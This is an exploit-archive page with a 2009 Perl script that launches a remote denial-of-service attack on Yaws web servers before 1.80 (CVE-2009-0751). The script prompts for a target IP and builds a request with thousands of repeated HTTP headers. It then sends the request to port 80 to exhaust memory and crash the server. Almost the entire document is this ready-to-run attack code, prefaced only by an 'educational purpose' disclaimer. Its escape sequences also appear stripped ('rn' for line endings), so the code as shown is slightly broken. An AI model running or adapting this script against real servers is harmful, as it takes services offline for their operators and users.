[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Yaws < 1.80 (multiple headers) Remote Denial of Service Exploit
# Published : 2009-03-03
# Author : Praveen Darshanam
# Previous Title : Easy Web Password 1.2 Local Heap Memory Consumption PoC
# Next Title : HTC Touch vCard over IP Denial of Service Exploit


#!usr/bin/perl -w

#######################################################################################
#   Yaws before 1.80 allows remote attackers to cause a denial of service (memory
#   consumption and crash) via a request with a large number of headers.
#   Refer:
#        http://yaws.hyber.org/
#        http://www.securityfocus.com/bid/33834/discuss
#        http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-0751
#
#$$$$$This was strictly written for educational purpose. Use it at your own risk.$$$$$
#$$$$$Author will not bare any responsibility for any damages watsoever.$$$$$$$$$$$$$$
#
#        Author:    Praveen Dar$hanam
#        Email:     praveen[underscore]recker[at]sify.com
#        Blog:       http://www.darshanams.blogspot.com/
#        Date:      03rd March, 2009
#        Site:       http://www.evilfingers.com/
#
###Thanx to str0ke, milw0rm, Manuel Duran Aguete, @rp m@n, and all the Security Folks###
########################################################################################

use IO::Socket;

print("nEnter IP Address of Yaws Server(not domain): n");
$vuln_host_ip = <STDIN>;
chomp($vuln_host_ip);
$port = 80;

$sock_http = IO::Socket::INET->new(  PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'tcp') || "Unable to create HTTP Socket";


$headers="Date: Tue, 03 Mar 2009 15:17:53 GMTrn".
"Accept-Ranges: bytesrn".
"Content-Language: enrn".
"Content-Type: text/html; charset=utf-8rn".
"Expires: Thu, 05 Mar 2009 15:17:53 GMTrn".
"Cache-Control: no-cachern".
"Content-Encoding: gziprn".
"Retry-After: 100rn";
print "nHeaders are:n$headers";

$i=0;
while($i<=13)    #this is just a PoC
{
$headers=$headers.$headers;
$i++;
}
print "nHeaders are:n$headers";
$yaws_attack = "GET / HTTP/1.1rn".
"Host: $vuln_host_ip:$portrn".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)rn".
$headers.
"Keep-Alive: 300rn".
"Connection: keep-alivern".
"rn";
sleep(3);
print $sock_http $yaws_attack;
sleep(2);
print"nRequest with large number of Headers sent...n";

close($sock_http);

# www.Syue.com [2009-03-03]